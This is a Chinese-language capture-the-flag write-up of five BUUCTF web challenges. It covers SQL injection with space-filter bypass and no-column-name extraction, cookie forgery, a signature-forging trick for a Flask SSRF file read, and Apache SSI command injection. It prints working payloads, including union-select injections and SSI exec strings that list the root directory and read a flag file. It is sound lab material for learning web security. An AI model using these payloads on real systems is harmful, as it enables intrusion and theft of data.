BUUCTF-WEB(56-60)
[SWPU2019]Web1
参考:
[buuctf-SWPU2019]Web1(小宇特详解)-CSDN博客
information_schema过滤与无列名注入_mysql 5.0以上的information表 如果给过滤用不了的 话你要怎么查库表列名-CSDN博客
这边有个注册,我注册了一下,登陆进去
有个申请广告,我以为xss,但好像并没有机器人会确认你的广告,所以钓鱼不到
所以在广告详情这里又发现了参数,应该这道题是sql注入
这过滤了空格,or,--+
所以我们/**/绕过空格,并且无法用order,所以我们直接一个一个试多少个字段,一共22个
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
2,3均回显
然后爆数据库
-1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
然后开始爆表
这里发现有报错了,突然想起来information里面有or
所以换了一种
-1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
-1'/**/union/**/select/**/1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/sys.schema_auto_increment_columns/**/where/**/database_name="web1"'//这个不行
然后就是爆列,这无法爆出来,我们就无列名注入https://blog.csdn.net/weixin_49656607/article/details/119988304
然后这边为什么是三个列,我也没搞明白,试出来的?
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
[BSidesCF 2019]Kookie
打开题目是一个登录框,他说检验cookie
然后我们burp抓包加一个
Cookie:username=admin
拿到flag
[BSidesCF 2019]Futurella
啊,F12
[De1CTF 2019]SSRF Me
参考:
[BUUCTF | De1CTF 2019]SSRF Me - 东坡肉肉君 - 博客园 (cnblogs.com)
[BUUCTF:De1CTF 2019]SSRF Me_buuctf [de1ctf 2019]ssrf me-CSDN博客
已经提示了文件路径
整理一下源码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
import importlib,sys
importlib.reload(sys)
sys.setdefaultencoding('latin1') #编码转换
app = Flask(__name__) #Flask框架
secert_key = os.urandom(16) #返回一个有n个byte那么长的一个string,然后很适合用于加密。
class Task:
def __init__(self, action, param, sign, ip):#python的构造方法
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.path.exists判断括号里的文件是否存在的意思,括号内的可以是文件路径。
os.mkdir(self.sandbox) #用于以数字权限模式创建目录。
def Exec(self):# 定义的命令执行函数。
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:#action的值包括scan
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)#文件读取的注入点
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)#输出结果
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:#action的值包括read
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):#判断
#hashlib.md5(secert_key + param + action).hexdigest()
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])#此路由用于测试
def geneSign():
param = urllib.unquote(request.args.get("param", "")) #urllib.unquote字符串被当作url提交时会被自动进行url编码处理, 当需要获取前端页面表单传过来的id值的时候,我们就需要用request.args.get,而不能用request.form
action = "scan"
return getSign(action, param)
#hashlib.md5(secert_key + param + action).hexdigest()
#即: hashlib.md5(secert_key + param + 'scan').hexdigest()
@app.route('/De1ta',methods=['GET','POST'])#此路由用于注入
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec()) #将一个Python数据结构转换为JSON
@app.route('/') # 根目录路由,就是显示源代码得地方
def index():
return open("code.txt","r").read()
def scan(param):# 这是用来扫目录的函数
socket.setdefaulttimeout(1)#代表经过t秒后,如果还未下载成功,自动跳入下一次操作,此次下载失败。
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):#wef,需要绕过
check=param.strip().lower() #用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
if check.startswith("gopher") or check.startswith("file"):#.startswith用于检查字符串是否是以指定子字符串开头,
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
有三个路由
然后看这里
他将我们传入的param的这个参数以及action的这个参数传入到getSign函数
action已经固定为scan,而param为我们所传值,后面应该可以利用上
getSign函数定义如下,来生成一个签名,MD5
来生成一个签名,MD5
再看challeng这个函数
从cookie里面获取action以及sign,再传递一个param参数,param有一层waf,然后去执行Exec这个函数
再看exec这个函数
先比较签名,然后进行下一步,如果action里面有scan这个字符串,就以scan读取文件,然后有read,就以read读取
我们需要利用利用scan
将flag.txt
的内容写入到result.txt
中,然后read
读取result.txt
我们需要scan以及read都要,也就是action=readscanm,所以我们构造签名,在geneSign创建的sign值后面Exec里面去比较时候这样刚好构成相等
md5(secert_key + flag.txtread + scan) = md5(secert_key + flag.txt + readscan)
也就是这里会相等
所以我们先去/geneSign创一个签名、
/geneSign?param=flag.txtread
然后得到一个签名
7afd8b4da9021c599e6561a2bf1f9bca
然后去/Delta去再传递一下Cookie就得到flag了
[BJDCTF2020]EasySearch
参考:
BJDCTF2020 EasySearch_bjdctf2020easy search-CSDN博客
Apache SSI 远程命令执行漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)
我这边没扫到目录,根据wp是有一个index.php.swp这个备份文件
访问一下,看一下
意思就是我们需要传递的密码里面,md5加密后前6位=‘6d0bc1'
脚本看一下
import hashlib
for i in range(10000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if(a[0:6]=='6d0bc1'):
print(i)
然后我们抓包,post传递一下
username=1&password=2020666
然后看响应包有一个
然后我们访问一下
然后我以为会在XFF这些有命令执行,没找到
然后就是wp说到Apache SSI 远程命令执行漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)
然后post
username=<!--#exec cmd="ls /"-->&password=2020666
访问一下
接下来就是找flag
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666